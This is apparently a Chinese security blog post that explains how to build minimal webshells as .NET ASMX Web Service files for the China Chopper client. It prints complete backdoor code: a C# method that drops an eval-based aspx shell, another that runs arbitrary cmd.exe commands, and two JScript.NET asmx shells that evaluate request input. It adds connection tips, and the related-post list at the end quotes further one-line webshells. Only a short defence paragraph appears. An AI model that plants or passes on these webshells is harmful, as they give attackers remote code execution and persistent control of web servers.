0x01 前言

上篇介绍了一般处理程序(ashx)的工作原理以及实现一句话木马的过程,今天接着介绍Web Service程序 (asmx)下的工作原理和如何实现一句话木马,当然介绍之前笔者找到了一款asmx马儿 https://github.com/tennc/webshell/blob/master/caidao-shell/customize.asmx ,依旧是一个大马如下图

这个还只是对客户端的菜刀做了适配可用,暂时不符合一句话木马的特点哈,至于要打造一款居家旅行必备的菜刀马,还得从原理上搞清楚 asmx的运行过程。

0x02 简介和原理

Web Service是一个基于可编程的web的应用程序,用于开发分布式的互操作的应用程序,也是一种web服务,Web Service的主要目标是跨平台的可互操作性,为了实现这一目标Web Service 完全基于XML(可扩展标记语言)、XSD(XML Schema)等独立于平台、独立于软件供应商的标准,是创建可互操作的、分布式应用程序的新平台。简单的来说Web Service具备三个要素SOAP(Simple Object Access Protocol)、WSDL(WebServicesDescriptionLanguage)、UDDI(UniversalDescriptionDiscovery andIntegration)之一, SOAP用来描述传递信息的格式, WSDL 用来描述如何访问具体的接口, UDDI用来管理,分发查询webService ,也因此使用Web Service有许多优点,例如可以跨平台工作、部署升级维护起来简单方便、实现多数据多个服务的聚合使用等等。再结合下图说明一下WebService工作的流程

无论使用什么工具、语言编写 WebService,都可以使用 SOAP 协议通过 HTTP 调用,创建 WebService 后,任何语言、平台的客户都可以阅读 WSDL 文档来调用 WebService ,同时客户端也可以根据 WSDL 描述文档生成一个 SOAP 请求信息并发送到Web服务器,Web服务器再将请求转发给 WebService 请求处理器。

对于.Net而言,WebService请求处理器则是一个 .NET Framework 自带的 ISAPI Extension。Web请求处理器用于解析收到的SOAP请求,调用 WebService,然后生成相应的SOAP应答。Web服务器得到SOAP应答后,在通过HTTP应答的方式将其返回给客户端,但WebService也支持HTTP POST请求,仅需要在服务端增加一项配置即可。

0x03 一句话的实现

3.1、WebMethod

在Web Service程序中,如果一个公共方法想被外界访问调用的话,就需要加上WebMethod,加上[WebMethod]属性的公有方法就可以被访问,而没有加这个属性的方法就是不能被访问的。将 WebMethod 属性 (Attribute) 附加到 Public 方法表示希望将该方法公开为 XML Web services 的一部分,它具备6个属性:Description 、EnableSession、MessageName、TransactionOption、CacheDuration、BufferResponse,为了更清晰的表述WebService请看下面这段代码

这里声明成一个字符串类型的公共方法HelloWorld,如果此时在方法体内实现创建aspx文件,保存内容为一句话小马的话那么这个WebService就变成了服务后门,依照这个推理就产生了C#版本的WebService小马,实现了两个功能,一个是创建文件,还有一个是执行CMD命令,核心代码如下:

[System.ComponentModel.ToolboxItem(false)]
[WebMethod]
/**
Create A BackDoor
**/
public string webShell()
{
StreamWriter wickedly = File.CreateText(HttpContext.Current.Server.MapPath("Ivan.aspx"));
wickedly.Write("<%@ Page Language=\"Jscript\"%><%eval(Request.Item[\"Ivan\"],\"unsafe\");%>");
wickedly.Flush();
wickedly.Close();
return "Wickedly";
}
[WebMethod]
/**
Exec Command via cmdShell
**/
public string cmdShell(string input)
{
Process pr = new Process();
pr.StartInfo.FileName = "cmd.exe";
pr.StartInfo.RedirectStandardOutput = true;
pr.StartInfo.UseShellExecute = false;
pr.StartInfo.Arguments = "/c " + input;
pr.StartInfo.WindowStyle = ProcessWindowStyle.Hidden;
pr.Start();
StreamReader osr = pr.StandardOutput;
String ocmd = osr.ReadToEnd();
osr.Close();
osr.Dispose();
return ocmd;
}

知道原理后就开始着手打造菜刀可用的一句话木马,和一般处理程序类似通过Jscript.Net的eval方法去实现代码执行,根据之前的介绍WebMethod有多个属性并且根据微软的官方文档 https://docs.microsoft.com/zh-cn/previous-versions/dotnet/netframework-1.1/1tyazy68%28v%3dvs.80%29 可以得出Jscript.Net中可以使用 WebMethodAttribute 来替代[WebMethod]。

一句话实现的代码如下:

<%@ WebService Language="JScript" class="asmxWebMethodSpy"%>
import System;
import System.Web;
import System.IO;
import System.Web.Services;
public class asmxWebMethodSpy extends WebService
{
WebMethodAttribute function Invoke(Ivan: String) : Void
{
var I = HttpContext.Current;
var Request = I.Request;
var Response = I.Response;
var Server = I.Server;
Response.Write("<H1>Just for Research Learning, Do Not Abuse It! Written By <a href='https://github.com/Ivan1ee'>Ivan1ee</a></H1>");
eval(Ivan);
}
}

打开浏览器,测试效果如下

依照SOAP1.1的规范要求,发送请求的数据包就可以实现一句话代码执行,笔者这里还是拿当前的时间作为攻击载荷,如下图

3.2、ScriptMethod

在研究WebMethod的时候,发现VisualStudio有段注释如下图

当客户端请求的方式是AJAX的时候会导入System.Web.Script.Services.ScriptService命名空间,笔者尝试去挖掘一下可能存在的新的攻击点

代码里ResponseFormat表示方法要返回的类型,一般为Json或者XML; UseHttpGet等于true表示前台的ajax是通过GET可以访问此方法,如果前台ajax通过POST,则报错。

根据C#中的代码可知需要配置WebMethod和ScriptMethod才能正常玩转,而在Jscript.Net中实现这两个功能的分类是WebMethodAttribute类和ScriptMethodAttribute类,最终写出一句话木马服务端代码:

<%@ WebService Language="JScript" class="ScriptMethodSpy"%>
import System;
import System.Web;
import System.IO;
import System.Web.Services
import System.Web.Script.Services
public class ScriptMethodSpy extends WebService
{
WebMethodAttribute ScriptMethodAttribute function Invoke(Ivan : String) : Void
{
var I = HttpContext.Current;
var Request = I.Request;
var Response = I.Response;
var Server = I.Server;
Response.Write("<H1>Just for Research Learning, Do Not Abuse It! Written By <a href='https://github.com/Ivan1ee'>Ivan1ee</a></H1>");
eval(Ivan);
}
}

打开浏览器输入 Response.Write(DateTime.Now) 成功打印出当前时间

可惜的是这种方法不支持.NET  2.0究其原因是using System.Web.Script.Services;这个命名空间并不在System.Web中,而是在ajax扩展中需要额外安装ASP.NET 2.0 AJAX Extensions,所以在2.0的环境下尽量避免使用该方法。

0X04 菜刀连接

菜刀不支持SOAP的方式提交payload,直接连接asmx文件就会出现下图错误

第一种解决方法可以自己写代码实现支持SOAP的客户端,第二种办法参考asmx页面最下方给出的HTTP POST提交方式

本地环境下用菜刀连接没问题,可以正常连接

但通常部署到服务器上可能会遇到下面的提示

多数情况下程序开发者会支持HTTP POST请求,所以对此不必过于担心。还有就是基于优化考虑将asmxWebMethodSpy.asmx进一步压缩体积后只有499个字节,asmxScriptMethodSpy.asmx也只有547个字节。

0x05 防御措施

通过菜刀连接的方式,添加可以检测菜刀关键特征的规则;对于Web应用来说,尽量保证代码的安全性;对于IDS规则层面来说,上传的时候可以加入WebMethodAttribute等关键词的检测

0x06 小结

还有本文提供了两种方式实现asmx一句话的思路,当然还有更多编写一句话的技巧有待发掘,下次将介绍另外一种姿势,敬请期待;文章的代码片段请参考 https://github.com/Ivan1ee

0x07 参考链接

https://docs.microsoft.com/zh-cn/previous-versions/dotnet/netframework-1.1/1tyazy68%28v%3dvs.80%29

https://github.com/tennc/webshell/blob/master/caidao-shell/customize.asmx

https://www.cnblogs.com/bpdwn/p/3479421.html

https://github.com/Ivan1ee

 

 

探索基于.NET下实现一句话木马之asmx篇的更多相关文章

  1. 技术的正宗与野路子 c#, AOP动态代理实现动态权限控制(一) 探索基于.NET下实现一句话木马之asmx篇 asp.net core 系列 9 环境(Development、Staging 、Production)

    黄衫女子的武功似乎与周芷若乃是一路,飘忽灵动,变幻无方,但举手抬足之间却是正而不邪,如说周芷若形似鬼魅,那黄衫女子便是态拟神仙. 这段描写出自<倚天屠龙记>第三十八回. “九阴神抓”本是& ...

  2. 探索基于.NET下实现一句话木马之ashx篇

    0x01 前言 在渗透测试的时候各种PHP版的一句话木马已经琳琅满目,而.NET平台下的一句话木马则百年不变,最常见的当属下面这句 笔者感觉有必要挖坑一下.NET平台里的一句话木马,经过一番摸索填坑终 ...

  3. 【原创】利用动态二进制加密实现新型一句话木马之PHP篇

    概述 本系列文章重写了java..net.php三个版本的一句话木马,可以解析并执行客户端传递过来的加密二进制流,并实现了相应的客户端工具.从而一劳永逸的绕过WAF或者其他网络防火墙的检测. 本来是想 ...

  4. 一句话木马:ASP篇

    ASP一句话木马收集: <%eval request("chopper")%> <%execute request("chopper")%&g ...

  5. 一句话木马:ASPX篇

    aspx木马收集: <%@ Page Language="Jscript"%><%eval(Request.Item["chopper"],& ...

  6. 一句话木马:JSP篇

    JSP一句话收集: <%if(request.getParameter("f")!=null)(new java.io.FileOutputStream(applicatio ...

  7. 一句话木马:PHP篇

    珍藏版: 一个简单的过D盾的免杀php <?php $ab = $_REQUEST['d']; $a['t'] = "";//主要带对象 D盾就不管后面的了... eval( ...

  8. CMD命令下图片合成一句话木马命令

    非常简单,我们只需要一张图片1.jpg一句话木马写好的php文件 1.php之后我们进入到命令行.注意:将php文件和图片文件放到同一目录下,cmd也要跳转到放文件的目录下之后执行命令 copy .j ...

  9. web攻防环境--一句话木马

    任务一.基于centos7搭建dvwa web服务靶机 1.在centos7安装LAMP并启动,访问phpinfo页面 也即安装httpd.php.mysql服务. 直接进行yum安装即可,完成后检查 ...

随机推荐

  1. ApplicationContext(九)初始化非延迟的 bean

    ApplicationContext(九)初始化非延迟的 bean 此至,ApplicationContext 已经完成了全部的准备工作,开始初始化剩余的 bean 了(第 11 步). public ...

  2. Python之路(第十六篇)xml模块、datetime模块

    一.xml模块 xml是实现不同语言或程序之间进行数据交换的协议,跟json差不多,但json使用起来更简单, xml比较早,早期许多软件都是用xml,至今很多传统公司如金融行业的很多系统的接口还主要 ...

  3. DNSlog盲注

    前言 在渗透测试中,经常遇到如下情景: 1,sql盲注 2,blind型ssrf以及xxe 3,无回显命令执行漏洞 ... dnslog盲注原理 开放的DNSlog平台: http://ceye.io ...

  4. SyntaxError: missing ; before statement

    做分页功能,遇到了很坑的事情.前台一直报错:SyntaxError: missing ; before statement 最后发现解决办法是eval("("+s+")& ...

  5. 使用unidac 在linux 上无驱动直接访问MS SQL SERVER

    随着delphi 10.2 开始了对Linux 的重新支持.devart 也迅速的发布了unidac 7.0, 最大的特性就是支持linux和MongoDB. 并有了其他更新: In this rel ...

  6. fork、vfork、clone

    三个都是用来创建新进程的函数 fork 概念 1)fork函数调用一次会返回两次,给父进程返回子进程的进程ID,给子进程返回0(这么设计的原因:父进程可以有很多子进程,没有一个函数可以让父进程知道所有 ...

  7. 更改Ubuntu默认python版本的两种方法python-> Anaconda

    当你安装 Debian Linux 时,安装过程有可能同时为你提供多个可用的 Python 版本,因此系统中会存在多个 Python 的可执行二进制文件.一般Ubuntu默认的Python版本都为2. ...

  8. Perl语言入门

    Perl 是 Practical Extraction and Report Language 的缩写,可翻译为 "实用报表提取语言". Perl语法基础: (1)Perl程序由声 ...

  9. RestTemplate将响应数据转换为具有泛型的类对象

    前言: 重要,RestTemplate在SpringBoot项目里即便通过HttpMessageConverters添加了Fastjson且优先级比jackson要高也不会在RestTemplate里 ...

  10. Python写出LSTM-RNN的代码

    0. 前言 本文翻译自博客: iamtrask.github.io ,这次翻译已经获得trask本人的同意与支持,在此特别感谢trask.本文属于作者一边学习一边翻译的作品,所以在用词.理论方面难免会 ...